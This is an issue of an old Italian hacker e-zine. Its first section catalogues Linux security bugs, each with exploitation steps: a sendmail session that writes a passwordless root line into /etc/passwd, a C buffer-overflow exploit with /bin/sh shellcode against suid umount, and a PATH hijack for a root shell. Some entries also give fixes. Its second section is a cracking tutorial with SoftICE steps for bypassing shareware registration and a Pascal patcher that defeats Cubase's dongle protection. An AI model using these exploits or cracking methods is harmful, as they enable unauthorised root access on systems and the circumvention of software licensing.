Copy Link
Add to Bookmark
Report

SystemDown 04

eZine's profile picture
Published in 
SystemDown
 · 26 Apr 2019

  

**********************************************************************
* *
* Chiunque venisse in possesso di questa rivista e' pregato di NON *
* postarla su NESSUN TIPO di newsgroup. Gli autori di questo testo *
* non si prendono nessuna responsabilita' per l'uso che ne verra' *
* fatto poiche' e' stata espressamente concepita per puri scopi *
* informativi. *
* *
**********************************************************************

Introduzione:

Salve di nuovo a tutti.
Prima di ogni altra cosa, mi devo scusare con tutti voi per i ritardi che
ha subito l'uscita del nø4 ma sia io, sia i miei compagni siamo stati molto
impegnati a livello lavorativo-scolastico e cio' ha contribuito al ritardo
che gia conoscete.
In questo numero si apre una nuova rubrica:
Come avevo gia accennato nel terzo volume di questa rivista, una parte di
Systemdown verra' dedicata a chi legge, ovvero ognuno di voi potra' mandare
un articolo che, nei successivi numeri, verra' pubblicato in queste pagine.
Questo lo facciamo non perche' ci sentiamo piu' "in alto" di altri permettendo
di scrivere su questa rivista come se fosse chissa' cosa, ma perche' penso che
ognuno debba avere la possibilita' di esprimere le proprie idee, i propri
concetti e le proprie scoperte.
Quindi vi invito, se la cosa vi puo' interessare, a scriverci mandando i
vostri articoli in .txt e, se risultassero eccessivamente lunghi, in forma
zippata ( giusto per facilitarci un po' il download della mail ).
Non so quanti di voi vorranno inviarci un articolo ma, anche se ne arrivasse
solo uno all'anno saremo lieti di pubblicarlo insieme a tutti gli altri.
Il primo ad occupare questo nostro nuovo spazio e' Cavallo de Cavallis con
la sua guida alla sopravvivenza per i non-crakkatori.
Visto che un nostro amico di nome Hank ci ha scritto praticamente qualche
istante dopo Cavallo abbiamo deciso di inserire anche lui per poter inaugurare
al meglio questa sezione.
Una piccola informazione che non so se avete letto o sentito da qualche parte:
dal 3 dicembre, pare, i paradisi telematici sparsi per tutta Italia (vedi
i paesi in cui ancora non c'e' la TUT) cadranno vittime di madre telecom che
li tramutera', facendoli cadere nella solita, vecchia storia degli scatti
telefonici urbani.
Pare comunque che non tutti i comuni vengano colpiti da questo "ciclone"...
Quindi non resta che attendere e sperare.

By InfectedMachine ( fn-infected@community.co.uk )

Indice

Introduzione
1) Bugs ( by RaggedRobin )
2) The Xoanon's Guide to Cracking ( by Xoanon ) IIIø e ultima parte
3) CGI che passione... ( by Jack McKrak )
4) Articolo Teorico/Cannato - Ordine e Password ( by Jack McKrak )
5) I siti del Dr.Creker ( by Dr.Creker )
6) Guida alla Sopravvivenza per non-crakkatori ( by Cavallo de Cavallis )
7) Consigli per il laming ( by Hank )
Ringraziamenti
Conclusioni
Hacker Manifesto

1) Bugs ( by RaggedRobin )

Salve gente, siccome questo mese c'e' gia' l'influenza in giro, ho preferito
evitare di spargere altri virus.
In questo numero vi presentero' i miei amici bacherozzi, no non il Dr.Creker
e Inf, ma quelle simpatiche bestioline da sistema che ogni tanto si scopre
abitino nei sistemi operativi.
Questa volta vi presentero' per lo piu' bug del linux, se mai vi dovesse
interessare l'argomento nel prossimo numero potrei presentarvene qualcuno di
windowsNT.

1
comando: telnet

sistemi: red hat

bug: Facendo un telnet se si sbaglia login si viene sbattutti fuori dal
sistema se invece si inserisce una login corretta ma si sbaglia la
password il sistema chiede nuovamente login e pass senza sbatterti fuori.

2
comando: admin

sistemi: linux con admin-v1.2 e versioni precedenti

bug: admin-v1.2 e un tool per gli amministratori di sistema. Attraverso i bug
di questo tool un local user puo' cancellare qualsiasi file sul sistema
fregandosene dei permessi.
Admin-v1.2 scrive i dati riguardanti gli user, menu ed altre cose in /tmp.
I nomi di questi files vengono creati attraverso la sintassi /tmp/name.$$
alcuni non usano il suffisso $$.
(S)fortunatamente, admin-v1.2 non contralla se questi files gia' esistono
e segue i simlynks.
E' quindi possibile sovrascrivere qualsiasi file.
Un qualsiasi manigoldo puo' per esempio linkare uno di questi files
temporanei a /etc/passwd o ad /.rhosts ed aspettare che l'amministratore
di sistema lanci adminv1.2.
Il file bersaglio verrebbe cancellato.

soluzione: rimuovere adminv1.2

3

comando: Lizards game

sistemi: Linux Slackware 3.4

bug: Un bug nel gioco Lizard che viene fornito con la Slackware 3.4 nel
package e consente ad utenti normali di avere accessi da root.
nel codice del gioco nella seconda riga c'e': system("clear");
return EXIT_SUCCESS;
}

Siccome il programmma esegue "clear" (supponendo di essere in
/usr/bin/clear) con privilegi da root basta cambiare lo user path
environment variable in qualcosa come PATH=.:/usr/game/lizardlib e poi
creare un symlink (o uno script sh) chiamato "clear" che esegua una shell
ad un tuo link, facendo in modo che il comando venga eseguito come root
finche il gioco gira.

soluzione: chmod -s /usr/games/lizardlib/lizardshi

4
comando: sendmail

sistema: tutti i sistemi che hanno la sendmail 8.8.3, 8.8.4.

problema: Facendo un hard link da /etc/passwd a /var/tmp/dead.letter e
telnettando alla porta 25 si puo' inviare una mail ad un host
irraggiungibile.
Il messaggio sara' scritto in passwd.
Ecco un exploit fatto utilizzando questo bug:

% telnet 0 25
Trying 0.0.0.0...
Connected to 0.
Escape character is '^]'.
220 myhost ESMTP Sendmail 8.8.3/8.6.12; Mon, 24 Mar 1997 20:39:07
-0500 (EST)
helo localhost
250-myhost Hello localhost [127.0.0.1], pleased to meet you
250-8BITMIME
250-SIZE
250-DSN
250-ONEX
250-ETRN
250-XUSR
250 HELP
mail from: ljubozat
250 ljubozat... Sender ok
rcpt to: blabla@no-such-host.net
250 blabla@no-such-host.net... Recipient ok
data
354 Enter mail, end with "." on a line by itself
toor::0:0:Toor de Root:/:/bin/ksh
Non funziona su grossi sistemi con partizioni perche' si puo' fare solo un
hard link sullo stesso file sistem. Un altra cosa e' che in sistemi con un
'MAILER-DAEMON' definito il demon prende la posta invece di salvarlo in
/var/tmp/dead.letter, per esempio, fare un file /etc/aliases che definisce
un MAILER-DAEMON. Per fare un altro esempio Pinco aggiunge queste due al suo
/etc/aliases:
MAILER-DAEMON:Pinco
postmaster:Pinco

Quindi scrivete solo 'newaliases' e potete andare con un filo di gas.

soluzioni: create un file /var/temp/dead.letter con permessi chmod 0644
cosi' nessuno puo' fare hard link a etc/passwd.

5
comando: mount-umount

sistema: Linux Redhad

problema: Il bug si trova nel programma mount/unmount nel util-linux 2.5
package. Se installato suid-to-root, questo programma consente
agli utenti locali di ottenere privilegi da super user.
Le utilities mount/unmount della util-linux 2.5 hanno problemi di
overrun. Installando mount/unmount come programma suid-to-root
e' necessario concedere agli utenti locali di fare il mount e
unmount sui media removibili senza avere i privilegi di super
user. Se questa possibilita' non e' necessaria e' raccomandato di
togliere il suid bit sia dal programma mount che da unmount.
Eccovi un exploit che utililizza il bug.

#include <stdio.h>
#include <unistd.h>
#include <stdio.h>
#include <stdlib.h>
#include <fcntl.h>
#include <sys/stat.h>

#define PATH_MOUNT "/bin/umount"
#define BUFFER_SIZE 1024
#define DEFAULT_OFFSET 50

u_long get_esp()
{
__asm__("movl %esp, %eax");

}

main(int argc, char **argv)
{
u_char execshell[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";

char *buff = NULL;
unsigned long *addr_ptr = NULL;
char *ptr = NULL;

int i;
int ofs = DEFAULT_OFFSET;

buff = malloc(4096);
if(!buff)
{
printf("can't allocate memory\n");
exit(0);
}
ptr = buff;

/* riempie l'izio del buffer con nops */

memset(ptr, 0x90, BUFFER_SIZE-strlen(execshell));
ptr += BUFFER_SIZE-strlen(execshell);

/* infila il codice assembler nel buffer*/

for(i=0;i<strlen(execshell);i++)
*(ptr++) = execshell[i];

addr_ptr = (long *)ptr;
for(i=0;i<(8/4);i++)
*(addr_ptr++) = get_esp() + ofs;
ptr = (char *)addr_ptr;
*ptr = 0;

(void)alarm((u_int)0);
execl(PATH_MOUNT, "umount", buff, NULL);
}

Soluzione: rimuovere il suid bit con il comando:
chmod u-s /bin/mount /bin/umount

6
bug: squake

sistemi: Linux

problemi: Squake per Linux garantisce un accesso da root se e installato
in mode 4755.
Se si richiama vga_init() all'inizio di main(), nessun problema.
Se si richiama in seguito, tutto quello eseguito prima di vga_init()
sara' eseguito come root.

Se si riesce a causare un segfault mentre il programma e' in
esecuzione si puo' ottenere di essere root. Probabilmente ci sono
diversi modi di causare un segfault ma il piu' ovvio e' utilizzando
la riga di comando:

squake -game aaaaaaaaa (152 a in totale)

7

bug: rlogin

sistemi: Linux

problemi: C'e un bug nel autenticazione del remote login nel modulo
Linux-PAM-0.57 e 0.58 , come conseguenza gli account degli utenti
ordinari non sono protetti da password.
C'e' solo un caso nel quale il bug funzioni: quando nel file
.rhost l'ultima entry e' il nome di una macchina con piu' di un'
indirizzo ip.

Ecco due esempi di .rhost:



BUGGATO NON BUGGATO

karman.tam.uiuc.edu vn.nas.nasa.gov
vn.nas.nasa.gov karman.tam.uiuc.edu

Il sito vn.nas.nasa.gov ha due indirizzi ip e un utente con
lo stesso nome si puo' infilare senza password.

Il problema e' nel modulo rhost del PAM. Il modulo richiama
gethostbyname() in due punti, una per la macchina che si connette,
l'altra per ogni entry nominata nel file ".rhosts". La chiamata
restituisce una struttura con un puntatore ad una lista di indirizzi
ip. Siccome possono essere indirizzi ip multipli, il codice PAM
usa un ciclo while sugli indirizzi ip della macchine che si connette,
poi un' altro ciclo while con gli indirizzi in ".rhosts".
Questi cicli while finiscono con un puntatore null nella lista di
indirizzi.
Cosi' la chiamata al gethostbyname() per le entry del .rhosts mischia
i seguenti ip address della macchine che si connette.
Se l'ultima riga del file .rhosts e' un nome con indirizzo ip multiplo
il null viene rimpiazzato con il secondo indirizzo ip dell'ultima
riga nel file ".rhost".
Il secondo passo del ciclo while sulla macchina che si sta'
connettendo setta il numero della macchina che si connette sul
numero ip dell'ultima riga del file ".rhosts".
In questo modo l'account e' aperto senza bisongo di password.

Soluzioni: Controllare che l'ultima riga di .rhost abbia un solo
indirizzo ip.
Potete usare il comando nslookup.

Esempio di fix:
--- Linux-PAM-0.58.orig/modules/pam_rhosts/pam_rhosts_auth.c Mon Aug 4
04:14:14 1997
+++ Linux-PAM-0.58/modules/pam_rhosts/pam_rhosts_auth.c Wed Oct 1 11:43:14 1997
@@ -524,25 +524,32 @@
{
struct hostent *hp;
int answer = 1; /* default = fallito */
- u_long addr;
- char **ap;
+ u_long *addrs;
+ int n, i;

opts->last_error = (char *) 0;
hp = gethostbyname(rhost); /* identifica host */

if (hp != NULL) {
- ap = hp->h_addr_list;
- while (*ap) { /* loop sulla lista di indirizzi
*/
- memcpy (&addr, *ap, sizeof(addr));
-
- /* controlla user su remote host */
- if (pam_iruserok(pamh, opts, addr, superuser, ruser, luser,
rhost)
- == 0) {
- answer = 0; /* successo*/
- break;
- }
- ++ap;
- }
+
+ /* loop sulla lista di indirizzi */
+ for (n = 0; hp->h_addr_list[n]; n++);
+ D(("rhosts: %d addresses", n))
+
+ if (n) {
+ addrs = malloc (n * sizeof(*addrs));
+ for (i = 0; i < n; i++)
+ memcpy (addrs+i, hp->h_addr_list[i], sizeof(*addrs));
+
+ for (i = 0; i < n && answer; i++) {
+ D(("rhosts: address %d is %04x", i, addrs[i]))
+ answer = pam_iruserok(pamh, opts, addrs[i], superuser,
+ ruser, luser, rhost);
+ /* risposta == 0 significa successo */
+ }
+
+ free (addrs);
+ }
}

return answer;

By RaggedRobin

2) The Xoanon's Guide to Cracking ( by Xoanon ) IIIø e ultima parte

----------------------------------------------------------------------------
CAPITOLO 3: CRACKING IN WINDOWS
----------------------------------------------------------------------------

* IN QUESTA PARTE SARO` PIU` SBRIGATIVO, SPECIE NEI CONCETTI DETTI E RIDETTI
NELLE PARTI PRECEDENTI. SOPRATTUTTO, VI SPIEGHERO` IL FUNZIONAMENTO DEL
DEBUGGER *

Ah, dopo il cracking in dos, passiamo a Windows..... con tutti i suoi bei
programmini shareware che funzionano a meta', funzionano per 30 gg, e cazzi
vari..... BASTA!!!! Vi salvero' da questo martirio !!!
Premetto che trattero' solo Windows95 con il relativo SoftICE, ma penso che
le stesse nozioni valgano anche per Windows3.1 e NT (comunque, fatemi sapere.)
Dunque, innanzitutto installatevi il SoftICE95 (lo trovate sulla rete, basta
che andiate a cercare con AltaVista la parola "Hack" o "Crack" e vi
appariranno migliaia di siti con tutti i debuggers che volete....
Una volta installato, vi conviene farvi nella vostra AUTOEXEC.BAT un'aggiunta
del tipo:

Choice /TN,10 Carico il SoftICE (S/N) ?
If ERRORLEVEL 2 goto END
:ICE
* mettete qui il comando che vi aggiunge il programma di installazione
(es. c:\utility\sice95\sice.exe
:END

Inoltre, andate a modificare il file WINICE.DAT nella directory dove il
debugger e' installato, modificando la riga con "X;" in questo modo:

WATCH ES:DI;LINES 50;X;

A questo punto assicuratevi di settare il driver della scheda grafica dal
setup del SoftICE, dopodiche' siete pronti a debuggare. Su questo, faccio
una piccola aggiunta: a me, ad esempio, il driver della S3 fornito con
l'ICE non funziona, quindi tutte le volte devo settare Windows95 a 16
colori, senno' appena entro nel debugger svalvola lo schermo......
(questo per il SoftICE 2.0, con il 3.0 tutto funziona a meraviglia. Se
avete il 2.0 andatevi a beccare i nuovi drivers al sito della NuMEGA, mi
sembra www.numega.com... ma non sono sicuro!)

3.1 Nozioncine sul funzionamento di Windows95 (penso vada bene anche per 3.1)

Iniziamo con qualche delucidazione su come Windows lavora... che e' meglio!
Dunque, dovete sapere che ad ogni cosa che accade sullo schermo (come ad
esempio, l'apparire di una finestra, il click di un bottone, insomma tutto!)
corrisponde una particolare API (funzione interna) del sistema operativo.
Per farvi capire meglio, se il programma vuole aprire una finestra non fara'
altro che usare le funzioni del sistema, e nel disassemblato vedrete, tra le
altre, una CALL USER!OPENWINDOW (o roba del genere, non ho il debugger qui
davanti e a mente non me lo ricordo...). Quindi, per i nostri loschi scopi
basta intercettare alcune di queste chiamate, nella maggior parte dei casi
quelle relative all'inserimento di testo oppure al click di un bottone.
Per questo ci viene in aiuto il comando dell'ICE, BMSG.
Questo comando senta un particolare BP che vi riporta al beneamato debugger
ogni volta che questo intercetta una chiamata ad una specifica funzione del
sistema. La sintassi e' la seguente:

BMSG window-handle funzionedelsistema

Mi spiego meglio: il Window-Handle non e' altro che il primo indirizzo che
trovate nella tabella che ottenete con HWND taskname (spiegato dopo).
Notate che accanto a questo valore, tra le altre cose, c'e' il nome dell'handle
stesso. Bene, questo ci serve a identificare l'handle che vogliamo allacciare.
Ad esempio, se avete un task di nome OMAR, e la finestra mostra:

3 righe per inserire il testo (ad es. dati personali e SN)
2 bottoni (es. OK, Cancel)

Dando il comando HWND omar troverete 3 handle EDIT e 2 handle BUTTON (pi—
altre cose). Dato che voi dovete inserire il SN (mettiamo) il vostro bersaglio
sara' uno dei 3 EDIT, giusto? Ma quale dei 3 ? Di solito il primo, perche'
quello dove inserire il SN di solito appare per ultimo (funziona cosi'....).
Comunque, provate, tanto se beccate quello giusto non appena premete return
vi ritorna al debugger.......
Ah gia', le funzioni di sistema da intercettare....... eccone qualcuna che
vi fara' sicuramente comodo:

WM_GETTEXT Come nell'esempio, quando dovete inserire qualcosa
WM_COMMAND Quando dovete cliccare un bottone
GETWINDOWTEXT Sempre per il testo, applicazioni a 16-Bit *
GETWINDOWTEXTA (o W) Come sopra, ma per applicazioni a 32-Bit *
GETDLGITEMTEXT Ancora per il testo,16-Bit *
GETDLGITEMTEXTA (o W) A 32-Bit *
WM_MOVE Per tornare al debugger quando apre una nuova finestra
(da usare se i precedenti non funzionano)

* = da usare con BPX al posto di BMSG (si ferma quando trova la call che
esegue la funzione, mentre con BMSG vi ritrovate dentro la funzione
di sistema..... vabbe', e' uguale. Io uso solo WM_GETTEXT e WM_MOVE,
con BMSG, poi fate voi.....)


3.2 Esempio pratico di registrazione di uno shareware

Capito bene il paragrafo precedente? Bene, cominciamo!
Dunque, i comandi principali li sapete gia' (andatevi a vedere il capitolo
1 paragrafo 2).... al SoftICE si accede con CTRL-D..... cosa c'e' ancora
da spiegare? Boh...... tagliamo la testa al toro e facciamo subito un
bell'esempio, cosi' si spiega tutto senza star a fare rigirii inutili.
Dunque, prendete un bel programmino shareware di quelli che, ad esempio,
funzionano 30gg e poi non vanno piu'.... tipo il QuickView Plus 3.0 32-Bit.
Una volta installato, aprite un promptino del dos (infatti non vi crea l'icona
essendo un tipo-plug-in del Netscape) e caricate ORDER32.EXE. Quindi, clickate
su "Single User" poi su "Unlock by Phone". A questo punto, inserite il vostro
unlock code (senza premere return, mi raccomando!), naturalmente scazzato, e
premete CTRL-D per entrare nell'ICE.
A questo punto, il primo passo da fare e' individuare il task corrispondente
all'ORDER32. Difatti, non e' detto che quando stoppate con CTRL-D andiate a
finire proprio nell'area di memoria riservata al programma.... anzi, diciamo
che non ci andrete a finire mai in questa maniera!
Bisogna fare quello che in gergo si chiama "PINPOINTING", ossia dobbiamo
intercettare un messaggio che quella finestra di Windows manda al sistema
operativo, in modo da entrare cosi' nel task. Ordunque, individuiamo il
task inserendo TASK <return>. Apparira' una lista con (fra gli altri):

TaskName SS:SP StackTop StackBot StackLow TaskDB hQueue Events
........ * GLI INDIRIZZI NATURALMENTE CAMBIANO!*
Order32 0000:0000 005ED000 005F0000 306E 30D7 0000
Spool32 0000:0000 0073D000 006C0000 246E 25D7 0000
Systray 0000:0000 00415000 003F0000 156E 2561 0000
........

A questo punto, facciamo un bel HWND Order32, per avere una lista di tutti
gli handlers del task. Otteniamo questo (sempre tra gli altri):

Window Handle hQueue SZ QOwner Name Window Procedure
........ *GLI INDIRIZZI CAMBIANO (E VE LO RIDIO!!!!)*
01AC (2) 0E3F 32 ORDER32 Static 17DF:000052FA
01A4 (2) 0E3F 32 ORDER32 Edit 17DF:00000BF4
01B4 (2) 0E3F 32 ORDER32 Button 17DF:0000102E
0C50 (2) 0E3F 32 ORDER32 Button 17DF:0000102E
........

In base alle cose spiegate nel paragrafo precedente, scegliamo come handle
da pinpointare quello EDIT a 01B4 (anche perche' e' l'unico edit che vi appare).
A questo punto, tornate al debugger con CTRL-D e premete return per far
accettare il vostro input. Di colpo riapparira' l'ICE, e voi inizierete nello
steppaggio.....fino ad arrivare a:

...... (INDOVINATE UN PO'? COSA FANNO GLI INDIRIZZI?)
014F:004049C8 ADD ESP,04
014F:004049CB TEST EAX,EAX
014F:004049CD JNZ 00404A29 < Se il SN Š sbagliato, non esegue il salto
014F:004049CF PUSH 20 e vi d… il messaggio di errore.
......

Bene, con le tecniche che ormai avrete appreso (ossia, cercare sempre il
jump condizionale precedente alla call che vi fa' uscire) non avrete difficolta'
ad individuare nel JNZ indicato sopra la "chiave" per questo crack. Basta
cambiarlo in JMP (con A 004049CD <ret> JMP 00404A29 <ret>) e..... bravi!
Ora crakkate anche in Windows..... Azz, siete dei mostri!!!
Naturalmente, per il cracking in Windows valgono anche le regole generali
spiegate e rispiegate, potete settare dei BPX (con l'apposito comando) per
evitare tutte le volte di ricominciare da capo, ecc... Unica cosa, data la
possibilita' di intercettare direttamente la chiamata alla routine di
accettazione dell'input con BMSG, non c'e' bisogno tutte le volte di cercare
il loop che aspetta l'inserimento. Per quanto riguarda gli HERE, anche quello
l'ho gia' spiegato nelle funzioni del debugger..... cos'altro c'e' ?
Ah,gia': se siete nella merda fino al collo e volete cercare il vostro ECHO
in memoria, una volta tornati al debugger dopo il BMSG, fate questo:

1) inserite S 30:0 lffffffff 'il vostro SN'
2) guardate gli indirizzi che trovate. Quelli buoni sono di solito quelli
a 30:80000000 e seguenti (il 30 e' fisso!). Tanto per controllare,
andate a vedere a questi indirizzi con D <indirizzo> e scorrendo la
DATA WINDOW con ctrl+frecce (o alt, non me lo ricordo. Comunque, e'
la finestra dove appare l'immagine della memoria). Molte volte qui
ci trovate direttamente, oltre a quello inserito da voi, il SN
giusto gia' calcolato!!
3) mettete un BPR (breakpoint-on-range) ai vari indirizzi che trovate
fino a trovare quello giusto. Di solito, quello giusto e' quello dove
appaiono vicino al SN anche gli altri dati inseriti.
4) da qui, procedete come sempre.

Una nota sul Loader: lo potete usare, serve a farvi entrare nel debugger
dall'inizio del programma, per eseguirlo passo passo..... ma sinceramente
io non l'ho mai usato....

Beh.... non so' cos'altro dirvi.... naturalmente, applicando queste nozioni
generali, potete anche provare a crackare qualcosa di diverso dallo shareware.
Ad esempio, provate con il Cubase 3.0, che ha la chiave hardware. Vi posso
garantire che la protezione e' una vera puttanata. Basta entrare nel debugger
"di rincorsa" non appena appare l'inizio del Cubase e mettere un BMSG WM_MOVE
per farlo tornare quando appare la finestra con scritto "Chiave non inserita".
Di qui, trovate il jump condizionale ed Š fatta.......

------------------------------------------------------------------------------
APPENDICE: PATCHERS, TSR, TRAINERS
------------------------------------------------------------------------------

1.1 Il PATCHER. Per distribuire i vostri crack!

Dunque, che cos'e' un patcher? Semplicemente, e' un programma che vi permette
di distribuire a giro il vostro crack. Cioe', contiene delle istruzioni che
vanno a scrivere sul file originale in modo da "sproteggerlo". Dunque,
bando alle ciance, via agevolo il mio PATCHER UNIVERSALE in Turbo Pascal 7,
che potete compilare e usare voi.
Premetto che, per fare dei patch dovete avere:

1) I bytes originali e quelli cambiati (deducibili come spiegato, nel
SoftICE assemblando l'istruzione voluta e andando a vedere in memoria a
quali bytes corrisponde). Piu', naturalmente, un po' di bytes prima e dopo
quelli che volete cambiare.
2) Un disk-editor (uno qualsiasi, io ho l'HEXED che si trova su internet)
3) L' UNP, per scompattare gli eseguibili che, essendo crunchati, non vi danno
la possibilita' di trovare al loro interno i bytes desiderati. Anche questo,
si trova su internet.
4) L'offset (cioŠ la posizione nel file) dei bytes da cambiare.
Lo vedete nel disk editor (mi raccomando, in decimale!)
5) La lunghezza del file bersaglio, per evitare che il patcher possa
modificare file con nome uguale, ma magari versione diversa.

//////////////////////////TAGLIATE QUI////////////////////////////////////////

{$I-}

(* Simply follow the comments inside the file to customize your patch *)
(* This proggy is TOTALLY free, i wrote it for myself to speed-up patching*)
(* However, if you keep the "written by XOANON" lines, i will be glad!*)
(* Hello to all crackerz/phreakerz/hackerz worldwide! *)
(* Compile with Borland Turbo Pascal 7 or higher *)

uses
dos, crt;


var
f : file of char;
c: char;
filnam: string [80];
filsiz: longint;
size: longint;
a, i, x : integer;
procedure drawscreen;
begin

writeln (' ---------------------------------------------------------
-------------------');
write (' - ');
gotoxy (69,2);
writeln (' -');
gotoxy (1,3);
writeln (' ---------------------------------------------------------
-------------------');

textcolor (8);
gotoxy (10,2);
write ('General Purpose Patcher 1.0 - Written by [>X0aN0n<] in 1996');
delay (140);
gotoxy (10,2);
textcolor (7);
write ('General Purpose Patcher 1.0 - Written by [>X0aN0n<] in 1996');
delay (140);
gotoxy (10,2);
textcolor (15);
write ('General Purpose Patcher 1.0 - Written by [>X0aN0n<] in 1996');
delay (140);
textcolor (7);
writeln;writeln;writeln;
write (' ');
textcolor(15);
write ('[PrOgRaM NaMe] : ');
textcolor (7);
(* Write in the line below the name of the program *)
writeln ('Cubase Score 3.0 for Windows ');
write (' ');
textcolor(15);
write ('[PaTcH DoNe By] : ');
textcolor (7);
(* Write in the line below the author of patch *)
writeln ('Xoanon ');
write (' ');
textcolor(15);
write(' [FiLe T0 RaPe] : ');
textcolor(7);
(* Write in the line below the name of the file to be patched *);
writeln ('CUBASESC.EXE ');
write (' ');
textcolor (15);
write (' [TyPe 0f PaTcH] : ');
textcolor (7);
(* Write in the line below the type of the patch *)
writeln ('Dongle Crack -100%- ');
write (' ');
textcolor (15);
(* Write in the line below the results obtained patching the file*)
write (' [ReSuLtZ] : ');
textcolor (7);
(* Write in the line below the results obtained patching the file*)
writeln ('Simply, now your Cubase works! ');
write (' ');
textcolor (15);
write (' [ByTeZ ChAnGeD] : ');
textcolor (7);
(* Write in the line below how many bytes the patch will go to change*)
writeln ('2 ');
write (' ');
textcolor (15);
write (' [NoTeZ] : ');
textcolor (7);
(* In the writeln lines below, you can add some notes (I.E. how to run the
patch) *)
writeln ('Run this patch in your Cubase directory to crack it. ');
write (' ');
write (' ');
writeln ('Personally, i see my patch more stable than others, bcoz');
write (' ');
write (' ');
writeln ('using it there are less "General Protection Errors". ');
write (' ');
write (' ');
writeln ('But, try it yourself.......');
writeln;
writeln;

end;

begin
clrscr;
drawscreen;
assign (f, 'CUBASESC.EXE'); (* Write here the name of file to be patched*)
filnam := 'CUBASESC.EXE'; (* Write here the name of file to be patched*)
filsiz := 2478080; (* This is the lenght of file to be patched*)
reset (f);
size := filesize (f);
a := IOResult;

if a <> 0 then (*Error, file not found*)
begin
sound (220);
delay(120);
nosound ;
writeln ;
textcolor (15);
write ('Error 1:');
textcolor (7);
write (' File ',filnam);
writeln (' not found. Check your directory.');
writeln;
halt (1)
end else (* File found but filelenght doesn't match*)
begin
if size <> filsiz then
begin
sound (220);
delay (120);
nosound;
writeln;
textcolor (15);
write ('Error 2:');
textcolor (7);
write(' File ',filnam);
write (' must be ',filsiz);
writeln (' bytes long.');
writeln (' Probably you have an incorrect/packed version.');
writeln;
halt (1);
end else




(*Everything is OK, let's PATCH!*)
(* First, we check if the file is already patched*)
seek (f,585299); (*File offset of byte 1*)
read (f,c);
if c <> #116 then (*This is the ORIGINAL value of byte 1, decimal of
course*)
begin (*Now we patch the file to its original state*)

(*The following lines depends on how many bytes you have to change*)
(*In this case, there are 3 bytes*)
(*If you have more, simply copy the first 3 lines 2,3,4,5,etc. times*)
(*The bytes must be entered in decimal format, I.E the NOP code $90 must be
entered as #144*)
(*In all these line you must enter the ORIGINAL value of the bytes*)

seek (f, 585299); (* File offset of byte 1*)
c := #116; (* Byte to write *)
write (f, c);

seek (f, 585300); (* File offset of byte 2*)
c := #2; (* Byte to write*)
write (f, c);

sound (220);
delay (120);
nosound;
writeln ('File already patched. Now, back to original state.');
writeln;
end else

(*The following lines depends on how many bytes you have to change*)
(*In this case, there are 3 bytes*)
(*If you have more, simply copy the first 3 lines 2,3,4,5,etc. times*)
(*The bytes must be entered in decimal format, I.E the NOP code $90 must be
entered as #144*)

begin
seek (f, 585299); (* File offset of byte 1*)
c := #144; (* Byte to write *)
write (f, c);

seek (f, 585300); (* File offset of byte 2*)
c := #144; (* Byte to write*)
write (f, c);

sound (220);
delay(120);
nosound ;
writeln ('File successfully patched.');
writeln;
end;
end;
end.

//////////////////////////TAGLIATE QUI////////////////////////////////////////

Beh, anche se i commenti sono in inglese (l'ho fatto per distribuirlo su
internet..... la traduzione mi sembra superflua....) si dovrebbe capire bene.
Basta andare a sostituire i valori indicati, se ci sono piu' bytes da cambiare
si deve copiare alcuni pezzi pi— volte.... insomma, e' gia' tutto fatto.
L'importante e' convertire i bytes in HEX in decimale, con una qualsiasi
calcolatrice.... Avete notato la funzione di unpatching? Bellina eh?
Una cosa da notare: quando non trovate i bytes nel file, puo' essere perche'
gli indirizzi li cambia direttamente in memoria, e quindi nel file non
trovate solo l'offset. Quindi, cercate magari qualche byte prima (magari
segnatevi i bytes delle istruzioni PUSH e POP precedenti, che quelle le
trovate sempre) e andate a occhio. Tutto qua!

1.2. I TSR. Quando il patcher non basta......

Che cos'Š il TSR? Š un programma che va a modificare il contenuto della
memoria in maniera dinamica, ossia mentre il programma viene eseguito.
Serve principalmente quando il file magari e' compattato in una maniera
proprietaria e non potete quindi trovarvi dentro i bytes.
Premetto che un TSR non lo so' scrivere, quindi, per evitare di sbattere le
palle a Moonshadow per farmelo in assembler, vi dico come usare un programmino
che trovate insieme al G3X, il TSRCRACK.
Dunque, funziona cosi':
1) Create un file testo del tipo

INT numero < interrupt al quale si aggancia. Deve essere nello stesso CS
dell'istruzione. Per trovarlo, usate la funzione INT MONITOR
del G3X su un interrupt di uso comune, es. il 21

IF CS:0000:ipdell'istruzione = byte1 byte2 byte3 byte4 (....)

THEN CS:0000:ipdell'istruzione = bytenew1 bytenew2 bytenew3 bytenew4 (...)

2) Tornate al DOS e scrivete TSRCRACK nomefile.txt. Et voila', TSR pronto.
Naturalmente, lo dovete caricare SEMPRE, prima del programma protetto.

Questo metodo vale solo per i programmi che non usano il DOS4GW, e comunque
che non usano dos-extenders. Per questi particolari programmi, bisogna creare
dei TSR ad-hoc, e io..... non sono ancora in grado. Al limite, chiedete a
Moonshadow....
Comunque, niente paura: la quasi totalita' dei programmi (anzi, diciamo pure
tutti) non richiede TSR. Basta un patch!!!

1.3. Trainers, come finire i giochi senza cheat-mode!

Qui saro' sbrigativo. Il metodo descritto funziona solo con i giochi non in
protected mode (quindi niente DOS4GW o extenders vari).

1) Caricate il G3X
2) Caricate il gioco, iniziate a giocare
3) Entrate nel G3X e scegliete GLOBAL ANALYSIS, BYTE, <return>
4) Tornate al gioco e perdete una vita o fate diminuire l'energia o il tempo
5) Entrate nel G3X, GLOBAL ANALYSIS, DECREASE
6) Ripetete dal punto 4 al 5 per un po' di volte, fino a quando non trovate
una locazione giusta..... cioe', con i valori es. 04 03 02 01
7) Mettete un BP Read-Write a quella locazione
8) Tornate al gioco, riperdete una vita/energia/tempo
9) Quando torna al debugger (se la locazione e' giusta) segnatevi i bytes
dell'istruzione (di solito un DEC) e da qui in poi, procedete come
se fosse un crack qualsiasi (disk editor, patcher)

Non vi allego il patcher modificato, tanto penso che la cosa sia intuitiva.
Praticamente, basta cambiare le scritte, il procedimento a' lo stesso.
Considerate che quando fa' il patch mette il trainer, quando fa' l'unpatch
riporta il gioco in condizioni normali.
Essendo ora tutti i giochi in protected mode, comunque, questo metodo funziona
solo con i giochi vecchi..... oppure con gli emulatori tipo C64S (pero' in
questo caso non fate il patcher, meglio caricare il G3X in memoria ogni
volta che si vuol giocare!). Se volete fare trainer per i giochi in DOS4GW,
meglio prendere qualcosa tipo il GameWizard32 (lo trovate su internet).

------------------------------------------------------------------------------
